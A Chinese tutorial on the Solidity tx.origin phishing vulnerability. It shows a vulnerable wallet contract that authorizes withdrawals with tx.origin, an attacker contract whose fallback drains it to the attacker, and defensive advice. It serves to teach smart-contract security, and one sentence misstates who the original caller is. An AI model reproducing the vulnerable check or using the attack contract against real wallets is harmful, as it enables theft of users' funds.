智能合约编程/Dapp漏洞 -- 交易授权/Tx.Origin Authentication

Solidity有一个全局变量tx.origin, 它回溯整个调用栈返回最初的,真正发起调用/交易的账户地址。在智能合约里使用这个变量做用户验证的话,就会留下一个受钓鱼攻击的漏洞。可以看这个Stack Exchange问答: Peter Venesses’s Blog and Solidity — Tx.Origin attacks(https://medium.com/coinmonks/solidity-tx-origin-attacks-58211ad95514)。

攻击原理

如果一个合约使用tx.origin来授权相应的操作的话,钓鱼攻击会引诱用户在有漏洞的合约上执行一些需要授权的操作。

看看下面简单的合约

 contract Phishable {
  address public owner;
  
  constructor (address _owner) {
     owner = _owner; 
  }
  
  function () public payable {} // collect ether
  function withdrawAll(address _recipient) public {
     require(tx.origin == owner);
     _recipient.transfer(this.balance); 
  }
 }
 

注意合约里在函数withdrawAll()在require语句里使用了tx.origin。 下面是一个攻击者创建的合约

 import "Phishable.sol";
 contract AttackContract { 
  
  Phishable phishableContract; 
  address attacker; // The attackers address to receive funds.
  constructor (Phishable _phishableContract, address _attackerAddress) { 
     phishableContract = _phishableContract; 
     attacker = _attackerAddress;
  }
  
  function () { 
     phishableContract.withdrawAll(attacker); 
  }
 }
 

攻击者会部署上面这个攻击者合约,同时说服受攻击合约拥有者送给攻击者合约一些ether。然后攻击者可以把这个合约假装成共同的私有地址,然后引诱受害者发送ether到这个攻击者合约。受害者,除非很小心,大都不会注意到在攻击者合约地址里的代码,或者攻击者可以发送一个多签的钱包或者其他高级存储的钱包。

如果受害者成功发送了一个交易给攻击者合约,这将触发Fallback函数执行。在fallback函数里将调用被钓鱼/被攻击合约里的withdrawAll()函数。这将导致从被钓鱼合约里的所有资金被提取到了攻击者的地址。这是因为,发起这个调用的最初的调用者是受害者合约地址(这里是受攻击的合约地址)因而,tx.origin等于所有者,在被钓鱼合约的第11行上的require语句就会不起作用,然withdrawAll()函数得以继续执行。

防护技术

在智能合约的鉴权机制中不应使用tx.origin。不是说绝对不能用tx.origin变量。该变量还是有合理的使用场景的。比如, 如果想要控制外部合约调用本合约,可以使用require(tx.origin == msg.sender). 这个语句防止一些中间的合约来调用本合约,限制本合约仅可供常用的codeless地址访问。

我们通常使用tx.origin来区分调用者是一个账户而不是一个合约。

if(msg.sender == tx.origin)

如果调用者是一个账户,上面的条件永远是True。如果是合约账户,则条件就为False.

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值